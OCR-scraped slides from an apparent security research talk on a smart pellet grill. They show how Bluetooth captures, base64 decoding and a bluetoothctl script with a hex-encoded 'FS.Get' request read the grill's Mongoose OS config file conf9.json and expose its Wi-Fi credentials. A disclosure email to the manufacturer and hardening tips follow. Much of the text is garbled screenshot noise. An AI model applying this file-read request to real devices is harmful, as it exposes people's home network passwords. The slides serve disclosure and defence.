| | Time | Source | Destination | Protocc| Length | Info
715 2023-03-29 20:57:32.884968 Sent Write Request, Handle: 0x002e (Unknown)

730 2023-03-29 20:57:33.058503 - Rcvd Write Response, Handle: 0x002e (Unknown)
137 2023-03-29 20:57:33.064478 Sent Write Request, Handle: 0x002e (Unknown)
755 2023-03-29 20:57:33.418322 . Rcvd Write Response, Handle: 0x@002e (Unknown)

Sent Write Request, Handle: 0x002e (Unknown)

756 2023-03-29 20:57:33.421552
775 2023-03-29 20:57:33.688494 Rcvd Write Response, Handle: @x002e (Unknown)

793 2023-03-29 20:57:33.868371
794 2023-03-29 20:57:33.868977
795 2023-03-29 20:57:34.176298
797 2023-03-29 20:57:34.319599 T
798 2023-03-29 20:57:34.326329
800 2023-03-29 20:57:34.500012
801 2023-03-29 20:57:34.560980 [ B M

805 2023-03-29 20:57:34.768686
806 2023-03-29 20:57:34.775137

Rcvd Handle Value Notification, Handle: 0x0030 (
Rcvd Write Response, Handle: 0x@002e (Unknown)
Sent Read Request, Handle: @x002e (Unknown)
Rcvd Read Response, Handle: ©0x002e (Unknown)
14 Sent Write Request, Handle: 0x002b (Unknown)
10 Rcvd Write Response, Handle: ©0x002b (Unknown)
16 Sent Write Request, Handle: 0x0033 (Unknown)
10 Rcvd Write Response, Handle: ©0x8033 (Unknown)
32 Sent Write Request, Handle: 0x002e (Unknown)
808 2023-03-29 20:57:34.948717 10 Rcvd Write Response, Handle: 0x002e (Unknown)
809 2023-03-29 20:57:34.955734 . . 32 Sent Write Request, Handle: 0x002e (Unknown)
811 2023-03-29 20:57:35.129444 ' 10 Rcvd Write Response, Handle: @0x002e (Unknown)
812 2023-03-29 20:57:35.138202 32 Sent Write Request, Handle: @0x002e (Unknown)
A216 2A23-A3-709 2A:57:35_3IAKAAK - - 1@ Rrurd Write Recnnnce. Handle: AvAA?e (linknnwn)

Frame 797: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) 02 43 20 64 00 60 00 04 00 6b 7b 22 69 64 22 3a Cd: 1 dds

Bluetooth g - . 999,"src :::“' 1"
k resu

Bluetooth HCI H4 : :{"data" : "Ly9CS

Bluetooth HCI ACL Packet : 1B2MDQyL jQ1lICAgI

Bluetooth L2CAP Protocol . N | [ ] W CAgICA=" , "left"
Bluetooth Attribute Protocol 3a 20 33 35 32 39 38 7d 7d ¥ V 35298} }
> Opcode: Read Response (@x@b)

[Handle: 0x002e (Unknown)]

Value: 7b:™ e

776 2023-03-29 20:57:33.691795 . .- Sent Write Request, Handle: @x002e (Unknown)

P E Value (btatt.value), 95 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Defaul




= & & gchq.github.io/CyberChef/#recipe=From_Base64('A-Za

£ Hack 4 Career. Inf... in Linkedin

Download CyberChef ¥

Operations Recipe

Search... From Base64
Favourites o Alphabet

A-Za-z0-9+/=
To Base64

Remove non-alphabet chars
From Base64

To Hex

From Hex

To Hexdump

From Hexdump
URL Decode
Regular expression
Entropy

Fork

Maagic

Data format STEP T?'

AL Fneruntinn I Enendinn

' Mert SARICA (mer... *! Inbox - mert.saric...

Last build: 10 days ago - Version 10 is here! Read about the new features here

-720-9%2B/%3D", true, false)&input=THk5Q1MxQjJNRFFS5TGPRMUIDQWdJQOFNSUN... h % @ B @ » S [ (15 :

= Other Bookmarks

Options a About [ Support o

+ 0O =]

N N Input

Ly9CS1B2MDQyLjQ1ICAgICAgICAS

Strict mode

aec 28 = 1 0‘ 28 Tr Raw Bytes & LF
Output e |_I:I Y
//BKPv@42.45

e 20 = 1 ®© 2ms Tr Raw Bytes & LF,



DETERMINING
THE OS

Searched some of the
filenames and methods
on Google.

Determined that the OS
is Mongoose OS™

Google

"sys.reboot" "init.js" config.set "config.save" fs.rename

Q_ All L) Images [»] Videos =) News [F] Books : More

About 2 results (0.39 seconds)

It looks like there aren't many great matches for your
search

Try using words that might appear on the page you're looking for. For example, "cake
recipes” instead of "how to make a cake."

Need help? Check out other tips for searching on Google.

Gitter
https://gitter.im » cesanta » mongoose-0s

cesanta/mongoose-0s

Rename’, "FS.Remove’, "FS.Put’, "FS.Get", "FS.ListExt", "FS.List", "Config.Save", "Config.Set’,
"Config.Get", "Sys.SetDebug"’, "Sys.GetInfo", "Sys.Reboot’,

MacBook
.



DETERMINING
THE FILENAME

* Mongoose OS uses a
structured, multi-layer

Run-time init o
| | | configuration.
« conf@.json - configuration defaults. This is a copy of the generated sys_config_defaults.json .Itis
loaded first and must exist on the file system. All other layers are optional.
« confl.json - conf8.json - these layers are loaded one after another, each successive layer can override @ 1 .
the previous one (provided conf_acl of the previous layer allows it). The layers can be used for vendor It ConSIStS Of tWO pa rts' a
configuration overrides. M Com pi. |e ti me pa rt that d eﬁ nes
« conf9.json is the user configuration file. Applied last, on top of all other layers. mos config-set and . :
save_cfg() API function modify conf9.json . Con‘ﬁgu ratlon’ a nd a ru n tl me
ER N part that uses configuration.

confO.json conf1.json conf9.json

 conf9.json is the user
configuration file. Applied last,
on top of all other layers.

MacBook
|




PREPARING
THE PACKETS

* The bluetoothctl is a handy tool for communicating with a BE device over the GATT
protocol, to query the list of “Services” and “Characteristics” for manipulating the
attributes.

* Preparedthe command below and sent it to the pellet grill.

{“id”:999,”"method”:"FS.Get”,'params”:{“filename”:"conf9.json” offset”:280,’len”:99}}




REQUEST & RESPONSE

4 */root/Desktop/send.sh - Mousepad

__requests.pcapng
: eless Tools Help

File Edit Search View Document Help ;
@i o2Ex >cxmA Ak Executedthe |~ -« > H oo o #
N’ Warning: you are using the root account. You may harm your system. | the baSh Script. ‘

1 Protocol Length Info

Sl ATT 10 Revd Write Response, Handle: ©x0033 (Unknown)
3 devices ATT 97 Sent Write Request, Handle: ©x002e (Unknown)
4 agent on \ 3 | HCI_EVT 8 Rcvd Number of Completed Packets

5 connect _ ATT 10 Rcvd Write Response, Handle: 0x002e (Unknown)
6 gatt.select-attribute 5f6d4f53-5f52-5043-5f74-785f63746c5f ATT 12 Sent Read Request, Handle: ©x002e (Unknown)

7 gatt.urite "0x00 0x00 0x00 0x55" HCI EVT e o Papkets
8 gatt.select-attribute 5f6d4f53-5f52-5043-5f64-6174615F5f5f -' | '-
_ HCI_ACL . | #709]

9 gatt.write "0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2C 0x22 0x6d 0x65 HCT AGL RECEIVEANMNENN , /057 [Reassembled in
0x74 0x68 Ox6f 0x64 0x22 0x3a 0x22 0x46 0x53 Ox2e 0x47 0x65 0x74 0x22 0x2C g - o #702] [Reassembled in
0x22 0x70 0x61 0x72 0x61 0x6d 0x73 0x22 0x3a 0x7b 0x22 0x66 0x69 0x6C 0x65 HCI ACL response 4702] [Reassembled in
0x6e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x63 0x6f Ox6e 0x66 0x39 0x2e 0x6a 0x73 HCI ACL encoded in o #702] [Reassembled in
0x6f 0x6e 0x22 0x2c 0x22 Ox6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x32 0x38 HCI ACL i

" R o 0 #702] [Reassembled in
0x30 0x2c 0x22 @x6¢ 0x65 0x6e 0x22 0x3a 0x39 0x39 0x7d 0x7d HCT ACL baseb64. #7621 [Reassembled in

10 gatt.read| ATT b | daiile: 0x002e (Unknown)

€1) Actions Edit View Help ] 9000 c5 00 04 00 0b ¥ 22N6ONICAIZZIEAIENIEIEoIZEIEZ A . . (NiNdTEoee)"

1 (06 0010 src":"] H HE K
Sox7d @0x7d" mn (0)] - .

. - = ; OOZ20 | now ||: n
Attempting to write /org/bluez/hcio/dev_ |} N itennisaidatahangds 1)] 8636 4","resu 1t":{"da

d -, o) — | B
0040 ' i
Teare rans T | 204 e B
Attempting to read /org/bluez/hci@/dev_, Pmpamd the | tocol): Par 9999 |

(seoes | commandin hexfor | rovc - mm

Attempting to read /org/bluez/hci@/dev_

: gatt.read | pluetoothet! to send. 0086

Attempting to read /org/bluez/hci®/dev_t _ _ | 0b) EE90 ' a
ot e W o) ianat] 9920 H B . HE N
Attempting to read /org/bluez/hci@/dev_ “,ff-“' ‘service@02c/charoo2d - Auia OObo ) | )

Agent registered > di se 00cO 66 74 22 3a 20 37 30 7d 7d £t"; 78} }
Connection successful Y > 1d Response

< ]
e ~/Desktop 12€22737263.
'{"id":999, "method”:"FS.Get", "params”:{"filename": "conf9.json", "o Frame (24 bytes) Reassembled BTHCI ACL (201 bytes)

Packets: 709 - Displayed: 709 (100.0%)

MacBook
e
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& Hack 4 Career. Inf... jn Linkedin % Mert SARICA (mer... ™ Inbox - mert.saric... B Other Bookmarks

Download CyberChef i Last build: 7 days ago - Version 10 is here! Read about the new features here Options Q About [ Support 0

Operations Recipe BB 8 Input + OS2 B =

Re{"id":999,"src":" eyl i "data":

Search... From Base64 . - - - -
I
: | -H "left": 70}) .

Favourites Alphabet

A-Za-z0-9+/=

To Basebd

Remove non-alphabet chars Strict mode

From Baseb4
To Hex
From Hex

To Hexdump me 198 = : : [T Raw Bytes & LF

From Hexdump Output a [_lj 3

URL Decode *R}6EU5s6¢q6 = *P2ému«Z3E2F4"
}l
Regular expression wifi™: %
“ska™n o
Entropy Tl
“pass”
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MANUFACTURER IN APRIL
BUT NO RESPONSE YET

Responsible Vulnerability Disclosure for - 5 Pellet Grill © =& [

Mert SARICA <mert.sarica@gmail.com> @& Sat, Apr1, 11:29AM (3 days ago) Yy “

to support «

Dear Sir or Madam,

My name is Mert, and | am a seasoned cybersecurity professional who conducts cybersecurity research and publishes them on my blog for the benefit and awareness of the
public.

According to various research, loT (internet of things) devices, such as coffee machines, thermostats, smart speakers, smart bulbs, alarm systems, etc., might have
vulnerabilities (https://www.fortinet.com/resources/cyberglossary/iot-device-vulnerabilities) due to their limited software and hardware capabilities.

Recently | purchased an IINIEGNc Bl Pellet Grill from Home Depot two weeks ago. (By the way, | love cooking with my grill; it is fantastic!) | noticed that my grill as an loT
has Wi-Fi and Bluetooth features and can be controlled via a mobile app (https://play.google.com/store/apps/details?id- mmmm&hl=en US&qgl=US). After | went through to
installation procedure, | enrolled my grill into my Wi-Fi network.




KEY TAKEAWAYS

Surprisingly, the vulnerability can be exploited even if the grill is
not turned on (POWER ON) and only plugged in.

o If not necessary, keep your BLE loTs unplugged.
o |solate your loTs from your personal devices. (Guest network)

Never underestimate your home network security. Harden it!

Pentest your loT devices if you can. Challenge yourself.
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